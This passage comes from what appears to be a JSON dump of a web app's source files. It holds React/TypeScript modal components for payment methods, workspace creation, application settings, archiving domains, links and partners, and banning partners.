useState(false);\n\n  const addPaymentMethod = async (type: Stripe.PaymentMethod.Type) => {\n    setIsLoading(true);\n\n    const response = await fetch(\n      `/api/workspaces/${slug}/billing/payment-methods`,\n      {\n        method: \"POST\",\n        body: JSON.stringify({\n          method: type,\n        }),\n      },\n    );\n\n    if (!response.ok) {\n      setIsLoading(false);\n      toast.error(\"Failed to add payment method. Please try again.\");\n      return;\n    }\n\n    const data = (await response.json()) as { url: string };\n\n    router.push(data.url);\n  };\n\n  return (\n    <AnimatedSizeContainer\n      height\n      transition={{ duration: 0.1, ease: \"easeInOut\" }}\n    >\n      <div className=\"p-4 sm:p-8\">\n        <button\n          type=\"button\"\n          onClick={() => setShowAddPaymentMethodModal(false)}\n          className=\"group absolute right-4 top-4 z-[1] hidden rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200 md:block\"\n        >\n          <X className=\"size-5\" />\n        </button>\n\n        <div className=\"flex flex-col gap-7\">\n          <div className=\"flex size-12 items-center justify-center rounded-full border border-neutral-200 text-neutral-900\">\n            <GreekTemple className=\"size-5 [&_*]:stroke-1 [&_circle]:hidden\" />\n          </div>\n\n          <div>\n            <h3 className=\"text-lg font-semibold text-neutral-800\">\n              Connect your bank account\n            </h3>\n            <p className=\"mt-1 text-base text-neutral-500\">\n              Select your bank's location to connect your bank account.\n            </p>\n          </div>\n\n          <div\n            className=\"grid grid-cols-2 gap-4 sm:grid-cols-[repeat(var(--cols),minmax(0,1fr))]\"\n            style={\n              {\n                \"--cols\": DIRECT_DEBIT_PAYMENT_TYPES_INFO.length,\n              } as CSSProperties\n            }\n          >\n            {DIRECT_DEBIT_PAYMENT_TYPES_INFO.map(\n              (\n                {\n                  type,\n                  location,\n                  title,\n                  icon: Icon,\n                  recommended,\n                  enterpriseOnly,\n                },\n                index,\n              ) => (\n                <button\n                  key={index}\n                  type=\"button\"\n                  className=\"group flex flex-col items-center justify-end gap-4 rounded-lg bg-neutral-200/40 p-8 px-2 py-4 transition-colors duration-100 hover:bg-neutral-200/60 disabled:cursor-not-allowed disabled:opacity-50\"\n                  onClick={() => addPaymentMethod(type)}\n                  disabled={\n                    isLoading || (enterpriseOnly && plan !== \"enterprise\")\n                  }\n                >\n                  <span\n                    className={cn(\n                      \"rounded-full bg-neutral-200 px-2 py-0.5 text-xs font-semibold text-neutral-600\",\n                      recommended && \"bg-blue-100 text-blue-700\",\n                      enterpriseOnly && \"bg-violet-100 text-violet-700\",\n                    )}\n                  >\n                    {recommended\n                      ? \"Recommended\"\n                      : enterpriseOnly\n                        ? \"Enterprise only\"\n                        : `${COUNTRIES[location]} only`}\n                  </span>\n                  <img\n                    src={Icon}\n                    alt={location}\n                    className=\"size-12 rounded-full transition-transform duration-100 group-hover:-translate-y-0.5\"\n                  />\n                  <div className=\"flex flex-col items-center gap-1\">\n                    <span className=\"text-center text-sm font-semibold text-neutral-700\">\n                      {location}\n                    </span>\n                    <span className=\"text-center text-xs font-medium text-neutral-700\">\n                      {title}\n                    </span>\n                  </div>\n                </button>\n              ),\n            )}\n          </div>\n        </div>\n      </div>\n    </AnimatedSizeContainer>\n  );\n}\n\nexport function useAddPaymentMethodModal() {\n  const [showAddPaymentMethodModal, setShowAddPaymentMethodModal] =\n    useState(false);\n\n  return {\n    setShowAddPaymentMethodModal,\n    AddPaymentMethodModal: (\n      <AddPaymentMethodModal\n        showAddPaymentMethodModal={showAddPaymentMethodModal}\n        setShowAddPaymentMethodModal={setShowAddPaymentMethodModal}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-workspace-modal.tsx",
    "content": "import { Logo, Modal, useRouterStuff } from \"@dub/ui\";\nimport { usePathname, useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { CreateWorkspaceForm } from \"../workspaces/create-workspace-form\";\n\nfunction AddWorkspaceModalHelper({\n  showAddWorkspaceModal,\n  setShowAddWorkspaceModal,\n}: {\n  showAddWorkspaceModal: boolean;\n  setShowAddWorkspaceModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const pathname = usePathname();\n\n  const oauthFlow = pathname.startsWith(\"/oauth/authorize\");\n\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Modal\n      showModal={showAddWorkspaceModal}\n      setShowModal={setShowAddWorkspaceModal}\n      onClose={() => {\n        if (searchParams.has(\"newWorkspace\")) {\n          queryParams({\n            del: [\"newWorkspace\"],\n          });\n        }\n      }}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        <Logo />\n        <h3 className=\"text-lg font-medium\">Create a workspace</h3>\n        <p className=\"-translate-y-2 text-balance text-center text-xs text-neutral-500\">\n          Set up a common space to manage your links with your team.{\" \"}\n          <a\n            href=\"https://dub.co/help/article/what-is-a-workspace\"\n            target=\"_blank\"\n            className=\"cursor-help font-medium underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-700\"\n          >\n            Learn more.\n          </a>\n        </p>\n      </div>\n\n      <CreateWorkspaceForm\n        className=\"bg-neutral-50 px-4 py-8 sm:px-16\"\n        onSuccess={({ slug }) => {\n          if (oauthFlow) {\n            router.refresh();\n          } else {\n            router.push(`/${slug}`);\n            toast.success(\"Successfully created workspace!\");\n          }\n          setShowAddWorkspaceModal(false);\n        }}\n      />\n    </Modal>\n  );\n}\n\nexport function useAddWorkspaceModal() {\n  const [showAddWorkspaceModal, setShowAddWorkspaceModal] = useState(false);\n\n  const AddWorkspaceModal = useCallback(() => {\n    return (\n      <AddWorkspaceModalHelper\n        showAddWorkspaceModal={showAddWorkspaceModal}\n        setShowAddWorkspaceModal={setShowAddWorkspaceModal}\n      />\n    );\n  }, [showAddWorkspaceModal, setShowAddWorkspaceModal]);\n\n  return useMemo(\n    () => ({ setShowAddWorkspaceModal, AddWorkspaceModal }),\n    [setShowAddWorkspaceModal, AddWorkspaceModal],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/application-settings-modal.tsx",
    "content": "import { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { updateApplicationSettingsAction } from \"@/lib/actions/partners/update-application-settings\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ApplicationRequirementsDB } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport {\n  EligibilityCondition,\n  EligibilityRequirements,\n  generateId,\n} from \"@/ui/partners/eligibility-requirements\";\nimport { Category } from \"@dub/prisma/client\";\nimport { Button, Modal, ToggleGroup, useEnterSubmit } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { ProgramCategorySelect } from \"../partners/program-category-select\";\n\ntype FormData = {\n  description: string;\n  categories: Category[];\n  eligibilityConditions: EligibilityCondition[];\n};\n\nfunction ApplicationSettingsModal({\n  showApplicationSettingsModal,\n  setShowApplicationSettingsModal,\n}: {\n  showApplicationSettingsModal: boolean;\n  setShowApplicationSettingsModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { program } = useProgram();\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n  const [activeSection, setActiveSection] = useState<\n    \"applications\" | \"marketplace\"\n  >(\"applications\");\n\n  const {\n    control,\n    handleSubmit,\n    setError,\n    register,\n    formState: { errors, isSubmitting, isDirty },\n  } = useForm<FormData>({\n    defaultValues: {\n      description: program?.description ?? \"\",\n      categories: program?.categories ?? [],\n      eligibilityConditions: (\n        (program?.applicationRequirements as ApplicationRequirementsDB | null) ??\n        []\n      )\n        .filter((c) => c.key === \"country\")\n        .map((c) => ({ ...c, key: \"country\" as const, id: generateId() })),\n    },\n  });\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  const { executeAsync } = useAction(updateApplicationSettingsAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n    onSuccess: () => {\n      toast.success(\"Application settings updated\");\n      mutatePrefix([\"/api/partners\", \"/api/programs\"]);\n      setShowApplicationSettingsModal(false);\n    },\n  });\n\n  const onSubmit = handleSubmit(async (data) => {\n    if (!workspaceId) return;\n\n    const result = await executeAsync({\n      workspaceId: workspaceId!,\n      ...data,\n      eligibilityConditions: data.eligibilityConditions\n        .filter((c) => c.key && c.operator && c.value && c.value.length > 0)\n        .map(({ id: _id, key, operator, value }) => ({\n          key: key!,\n          operator: operator!,\n          value: value!,\n        })),\n    });\n\n    if (result?.serverError || result?.validationErrors) {\n      setError(\"root.serverError\", {\n        message: \"Failed to update application settings\",\n      });\n      toast.error(\n        parseActionError(result, \"Failed to update application settings\"),\n      );\n      return;\n    }\n  });\n\n  return (\n    <Modal\n      showModal={showApplicationSettingsModal}\n      setShowModal={setShowApplicationSettingsModal}\n      className=\"flex max-h-[calc(100dvh-64px)] flex-col sm:max-h-[min(90dvh,720px)]\"\n    >\n      <div className=\"shrink-0 space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Application settings\n        </h3>\n      </div>\n\n      <form onSubmit={onSubmit} className=\"flex min-h-0 flex-1 flex-col\">\n        <div className=\"scrollbar-hide flex-1 overflow-y-auto\">\n          <div\n            className={cn(\n              \"space-y-6 bg-neutral-50 p-4 sm:p-6\",\n              program?.addedToMarketplaceAt && \"pt-2 sm:pt-4\",\n            )}\n          >\n            {program?.addedToMarketplaceAt && (\n              <ToggleGroup\n                className=\"flex w-full items-center gap-1 rounded-md border border-neutral-200 bg-neutral-50 p-1\"\n                optionClassName=\"h-8 flex items-center justify-center rounded-md flex-1 text-sm normal-case\"\n                indicatorClassName=\"bg-white\"\n                options={[\n                  { value: \"applications\", label: \"Applications\" },\n                  { value: \"marketplace\", label: \"Marketplace\" },\n                ]}\n                selected={activeSection}\n                selectAction={(value) =>\n                  setActiveSection(value as \"applications\" | \"marketplace\")\n                }\n              />\n            )}\n\n            {(!program?.addedToMarketplaceAt ||\n              activeSection === \"applications\") && (\n              <div className=\"space-y-5\">\n                <div className=\"space-y-2\">\n                  <div>\n                    <label className=\"block text-sm font-medium text-neutral-900\">\n                      Eligibility requirements (optional)\n                    </label>\n                    <p className=\"text-sm text-neutral-500\">\n                      Only eligible partners can apply.{\" \"}\n                      <Link\n                        href=\"https://dub.co/help/article/partner-groups#eligibility-requirements\"\n                        target=\"_blank\"\n                        rel=\"noopener noreferrer\"\n                        className=\"text-neutral-500 underline underline-offset-2\"\n                      >\n                        Learn more\n                      </Link>\n                    </p>\n                  </div>\n\n                  <Controller\n                    control={control}\n                    name=\"eligibilityConditions\"\n                    render={({ field }) => (\n                      <EligibilityRequirements\n                        value={field.value}\n                        onChange={field.onChange}\n                      />\n                    )}\n                  />\n                </div>\n\n                <div className=\"space-y-2\">\n                  <div>\n                    <p className=\"block text-sm font-medium text-neutral-900\">\n                      Auto-approval settings\n                    </p>\n                    <p className=\"text-sm text-neutral-500\">\n                      The auto-approval setting is configurable at the group\n                      level.\n                    </p>\n                  </div>\n\n                  <a\n                    href={`/${workspaceSlug}/program/groups/${DEFAULT_PARTNER_GROUP.slug}/settings`}\n                    target=\"_blank\"\n                    className=\"block\"\n                  >\n                    <Button\n                      type=\"button\"\n                      variant=\"secondary\"\n                      text=\"View default group settings ↗\"\n                      className=\"h-8 w-full px-3\"\n                    />\n                  </a>\n                </div>\n              </div>\n            )}\n\n            {program?.addedToMarketplaceAt &&\n              activeSection === \"marketplace\" && (\n                <div className=\"space-y-5\">\n                  <div>\n                    <label\n                      htmlFor=\"description\"\n                      className=\"block text-sm font-medium text-neutral-800\"\n                    >\n                      Product description\n                    </label>\n                    <div className=\"mt-1\">\n                      <textarea\n                        id=\"description\"\n                        {...register(\"description\")}\n                        rows={4}\n                        placeholder=\"Describe your program for the marketplace...\"\n                        onKeyDown={handleKeyDown}\n                        className={cn(\n                          \"w-full rounded-md border border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                          errors.description &&\n                            \"border-red-600 focus:border-red-600 focus:ring-red-600\",\n                        )}\n                      />\n                      <p className=\"mt-1 text-xs text-neutral-500\">\n                        This description will be displayed in the program\n                        marketplace.\n                      </p>\n                    </div>\n                  </div>\n\n                  <div>\n                    <label className=\"block text-sm font-medium text-neutral-800\">\n                      Product categories\n                    </label>\n                    <div className=\"mt-1\">\n                      <Controller\n                        control={control}\n                        name=\"categories\"\n                        render={({ field }) => (\n                          <ProgramCategorySelect\n                            selected={field.value}\n                            onChange={field.onChange}\n                            buttonProps={{\n                              className: cn(\n                                errors.categories && \"border-red-600\",\n                              ),\n                            }}\n                          />\n                        )}\n                      />\n                    </div>\n                  </div>\n                </div>\n              )}\n          </div>\n        </div>\n\n        <div className=\"flex shrink-0 items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowApplicationSettingsModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            loading={isSubmitting}\n            disabled={!isDirty}\n            text=\"Save\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useApplicationSettingsModal() {\n  const [showApplicationSettingsModal, setShowApplicationSettingsModal] =\n    useState(false);\n\n  const ApplicationSettingsModalCallback = useCallback(() => {\n    return (\n      <ApplicationSettingsModal\n        showApplicationSettingsModal={showApplicationSettingsModal}\n        setShowApplicationSettingsModal={setShowApplicationSettingsModal}\n      />\n    );\n  }, [showApplicationSettingsModal, setShowApplicationSettingsModal]);\n\n  return useMemo(\n    () => ({\n      setShowApplicationSettingsModal,\n      ApplicationSettingsModal: ApplicationSettingsModalCallback,\n    }),\n    [setShowApplicationSettingsModal, ApplicationSettingsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/archive-domain-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { Button, LinkLogo, Modal, useToastWithUndo } from \"@dub/ui\";\nimport {\n  Dispatch,\n  MouseEvent,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nconst sendArchiveRequest = ({\n  domain,\n  archive,\n  workspaceId,\n}: {\n  domain: string;\n  archive: boolean;\n  workspaceId?: string;\n}) => {\n  const baseUrl = `/api/domains/${domain}`;\n  return fetch(`${baseUrl}?workspaceId=${workspaceId}`, {\n    method: \"PATCH\",\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n    body: JSON.stringify({ archived: archive }),\n  });\n};\n\nfunction ArchiveDomainModal({\n  showArchiveDomainModal,\n  setShowArchiveDomainModal,\n  props,\n}: {\n  showArchiveDomainModal: boolean;\n  setShowArchiveDomainModal: Dispatch<SetStateAction<boolean>>;\n  props: DomainProps;\n}) {\n  const toastWithUndo = useToastWithUndo();\n\n  const { id: workspaceId } = useWorkspace();\n  const [archiving, setArchiving] = useState(false);\n  const domain = props.slug;\n\n  const handleArchiveRequest = async (event: MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n\n    setArchiving(true);\n    const res = await sendArchiveRequest({\n      domain,\n      archive: !props.archived,\n      workspaceId,\n    });\n\n    if (!res.ok) {\n      const { error } = await res.json();\n      setArchiving(false);\n      toast.error(error.message);\n      return;\n    }\n\n    mutatePrefix(\"/api/domains\");\n    setShowArchiveDomainModal(false);\n    toastWithUndo({\n      id: \"domain-archive-undo-toast\",\n      message: `Successfully ${props.archived ? \"unarchived\" : \"archived\"} domain!`,\n      undo: undoAction,\n      duration: 5000,\n    });\n  };\n\n  const undoAction = () => {\n    toast.promise(\n      sendArchiveRequest({\n        domain,\n        archive: props.archived,\n        workspaceId,\n      }),\n      {\n        loading: \"Undo in progress...\",\n        error: \"Failed to roll back changes. An error occurred.\",\n        success: () => {\n          mutatePrefix(\"/api/domains\");\n          return \"Undo successful! Changes reverted.\";\n        },\n      },\n    );\n  };\n\n  return (\n    <Modal\n      showModal={showArchiveDomainModal}\n      setShowModal={setShowArchiveDomainModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 text-center sm:px-16\">\n        <LinkLogo apexDomain={domain} />\n        <h3 className=\"text-lg font-medium\">\n          {props.archived ? \"Unarchive\" : \"Archive\"} {domain}\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          {props.archived\n            ? \"By unarchiving this domain, it will show up in the link builder. \"\n            : \"Archiving a domain will hide it from the link builder. \"}\n          <a\n            href=\"https://dub.co/help/article/archiving-domains\"\n            target=\"_blank\"\n            className=\"text-sm text-neutral-500 underline\"\n          >\n            Learn more\n          </a>\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <Button\n          onClick={handleArchiveRequest}\n          autoFocus\n          loading={archiving}\n          text={`Confirm ${props.archived ? \"unarchive\" : \"archive\"}`}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useArchiveDomainModal({ props }: { props: DomainProps }) {\n  const [showArchiveDomainModal, setShowArchiveDomainModal] = useState(false);\n\n  const ArchiveDomainModalCallback = useCallback(() => {\n    return props ? (\n      <ArchiveDomainModal\n        showArchiveDomainModal={showArchiveDomainModal}\n        setShowArchiveDomainModal={setShowArchiveDomainModal}\n        props={props}\n      />\n    ) : null;\n  }, [showArchiveDomainModal, setShowArchiveDomainModal]);\n\n  return useMemo(\n    () => ({\n      setShowArchiveDomainModal,\n      ArchiveDomainModal: ArchiveDomainModalCallback,\n    }),\n    [setShowArchiveDomainModal, ArchiveDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/archive-link-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Button, Modal, useToastWithUndo } from \"@dub/ui\";\nimport { capitalize, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  MouseEvent,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { SimpleLinkCard } from \"../links/simple-link-card\";\n\nconst sendArchiveRequest = ({\n  linkIds,\n  archive,\n  workspaceId,\n}: {\n  linkIds: string[];\n  archive: boolean;\n  workspaceId?: string;\n}) => {\n  return fetch(`/api/links/bulk?workspaceId=${workspaceId}`, {\n    method: \"PATCH\",\n    body: JSON.stringify({ linkIds, data: { archived: archive } }),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n};\n\ntype ArchiveLinkModalProps = {\n  showArchiveLinkModal: boolean;\n  setShowArchiveLinkModal: Dispatch<SetStateAction<boolean>>;\n  links: LinkProps[];\n};\n\nfunction ArchiveLinkModal(props: ArchiveLinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showArchiveLinkModal}\n      setShowModal={props.setShowArchiveLinkModal}\n    >\n      <ArchiveLinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction ArchiveLinkModalInner({\n  setShowArchiveLinkModal,\n  links,\n}: ArchiveLinkModalProps) {\n  const toastWithUndo = useToastWithUndo();\n\n  const archived = links.every((link) => link.archived);\n  const actionText = archived ? \"unarchive\" : \"archive\";\n\n  const { id: workspaceId } = useWorkspace();\n  const [archiving, setArchiving] = useState(false);\n\n  const handleArchiveRequest = async (event: MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n\n    setArchiving(true);\n    const res = await sendArchiveRequest({\n      linkIds: links.map(({ id }) => id),\n      archive: !archived,\n      workspaceId,\n    });\n    setArchiving(false);\n\n    if (!res.ok) {\n      const { error } = await res.json();\n      toast.error(error.message);\n      return;\n    }\n\n    mutatePrefix(\"/api/links\");\n    setShowArchiveLinkModal(false);\n    toastWithUndo({\n      id: \"link-archive-undo-toast\",\n      message: `Successfully ${actionText}d ${pluralize(\"link\", links.length)}!`,\n      undo: undoAction,\n      duration: 5000,\n    });\n  };\n\n  const undoAction = () => {\n    toast.promise(\n      sendArchiveRequest({\n        linkIds: links.map(({ id }) => id),\n        archive: archived,\n        workspaceId,\n      }),\n      {\n        loading: \"Undo in progress...\",\n        error: \"Failed to roll back changes. An error occurred.\",\n        success: () => {\n          mutatePrefix(\"/api/links\");\n          return \"Undo successful! Changes reverted.\";\n        },\n      },\n    );\n  };\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {capitalize(actionText)}{\" \"}\n          {links.length > 1 ? `${links.length} links` : \"link\"}\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          Are you sure you want to {actionText} the following{\" \"}\n          {pluralize(\"link\", links.length)}?\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          {links.map((link) => (\n            <SimpleLinkCard key={link.id} link={link} />\n          ))}\n        </div>\n      </div>\n\n      {/* <LinkLogo apexDomain={getApexDomain(links[0].url)} /> */}\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowArchiveLinkModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleArchiveRequest}\n          autoFocus\n          loading={archiving}\n          text={`${capitalize(actionText)} ${pluralize(\"link\", links.length)}`}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </>\n  );\n}\n\nexport function useArchiveLinkModal({\n  props,\n}: {\n  props: LinkProps | LinkProps[];\n}) {\n  const [showArchiveLinkModal, setShowArchiveLinkModal] = useState(false);\n\n  const ArchiveLinkModalCallback = useCallback(() => {\n    return props ? (\n      <ArchiveLinkModal\n        showArchiveLinkModal={showArchiveLinkModal}\n        setShowArchiveLinkModal={setShowArchiveLinkModal}\n        links={Array.isArray(props) ? props : [props]}\n      />\n    ) : null;\n  }, [showArchiveLinkModal, setShowArchiveLinkModal]);\n\n  return useMemo(\n    () => ({\n      setShowArchiveLinkModal,\n      ArchiveLinkModal: ArchiveLinkModalCallback,\n    }),\n    [setShowArchiveLinkModal, ArchiveLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/archive-partner-modal.tsx",
    "content": "import { archivePartnerAction } from \"@/lib/actions/partners/archive-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { capitalize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction ArchivePartnerModal({\n  showArchivePartnerModal,\n  setShowArchivePartnerModal,\n  partner,\n}: {\n  showArchivePartnerModal: boolean;\n  setShowArchivePartnerModal: Dispatch<SetStateAction<boolean>>;\n  partner: EnrolledPartnerProps;\n}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const actionText = partner.status === \"archived\" ? \"unarchive\" : \"archive\";\n  const actionDescription =\n    partner.status === \"archived\"\n      ? \"This will show the partner in your partners list again.\"\n      : \"This will hide the partner from your partners list. All their links will still work, and they will still earn commissions.\";\n\n  const { executeAsync, isPending } = useAction(archivePartnerAction, {\n    onSuccess: async () => {\n      toast.success(`Partner ${actionText}d successfully!`);\n      setShowArchivePartnerModal(false);\n      mutatePrefix(\"/api/partners\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const handleArchive = useCallback(async () => {\n    if (!workspaceId || !partner.id) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerId: partner.id,\n    });\n  }, [executeAsync, partner.id, workspaceId]);\n\n  return (\n    <Modal\n      showModal={showArchivePartnerModal}\n      setShowModal={setShowArchivePartnerModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {capitalize(actionText)} partner\n        </h3>\n      </div>\n\n      <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n          <div className=\"flex items-center gap-4\">\n            <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n            <div className=\"flex min-w-0 flex-col\">\n              <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                {partner.name}\n              </h4>\n              <p className=\"truncate text-xs text-neutral-500\">\n                {partner.email}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        <p className=\"text-sm text-neutral-600\">{actionDescription}</p>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n        <Button\n          onClick={() => setShowArchivePartnerModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleArchive}\n          autoFocus\n          loading={isPending}\n          text={`Confirm ${actionText}`}\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useArchivePartnerModal({\n  partner,\n}: {\n  partner: EnrolledPartnerProps;\n}) {\n  const [showArchivePartnerModal, setShowArchivePartnerModal] = useState(false);\n\n  const ArchivePartnerModalCallback = useCallback(() => {\n    return (\n      <ArchivePartnerModal\n        showArchivePartnerModal={showArchivePartnerModal}\n        setShowArchivePartnerModal={setShowArchivePartnerModal}\n        partner={partner}\n      />\n    );\n  }, [showArchivePartnerModal, setShowArchivePartnerModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowArchivePartnerModal,\n      ArchivePartnerModal: ArchivePartnerModalCallback,\n    }),\n    [setShowArchivePartnerModal, ArchivePartnerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/ban-partner-modal.tsx",
    "content": "import { banPartnerAction } from \"@/lib/actions/partners/ban-partner\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport {\n  BAN_PARTNER_REASONS,\n  banPartnerSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype BanPartnerFormData = z.infer<typeof banPartnerSchema> & {\n  confirm: string;\n};\n\nfunction BanPartnerModal({\n  showBanPartnerModal,\n  setShowBanPartnerModal,\n  partner,\n  onConfirm,\n}: {\n  showBanPartnerModal: boolean;\n  setShowBanPartnerModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n  onConfirm?: () => Promise<void>;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<BanPartnerFormData>({\n    defaultValues: {\n      reason: \"tos_violation\",\n      confirm: \"\",\n    },\n  });\n\n  const confirm = watch(\"confirm\");\n\n  const { executeAsync, isPending } = useAction(banPartnerAction, {\n    onSuccess: async () => {\n      await onConfirm?.();\n      toast.success(\"Partner banned successfully!\");\n      setShowBanPartnerModal(false);\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = useCallback(\n    async (data: BanPartnerFormData) => {\n      if (!workspaceId || !partner.id) {\n        return;\n      }\n\n      await executeAsync({\n        ...data,\n        workspaceId,\n        partnerId: partner.id,\n      });\n    },\n    [executeAsync, partner.id, workspaceId],\n  );\n\n  const isDisabled = useMemo(() => {\n    return !workspaceId || !partner.id || confirm !== \"confirm ban partner\";\n  }, [workspaceId, partner.id, confirm]);\n\n  return (\n    <Modal\n      showModal={showBanPartnerModal}\n      setShowModal={setShowBanPartnerModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Ban partner</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar partner={partner} 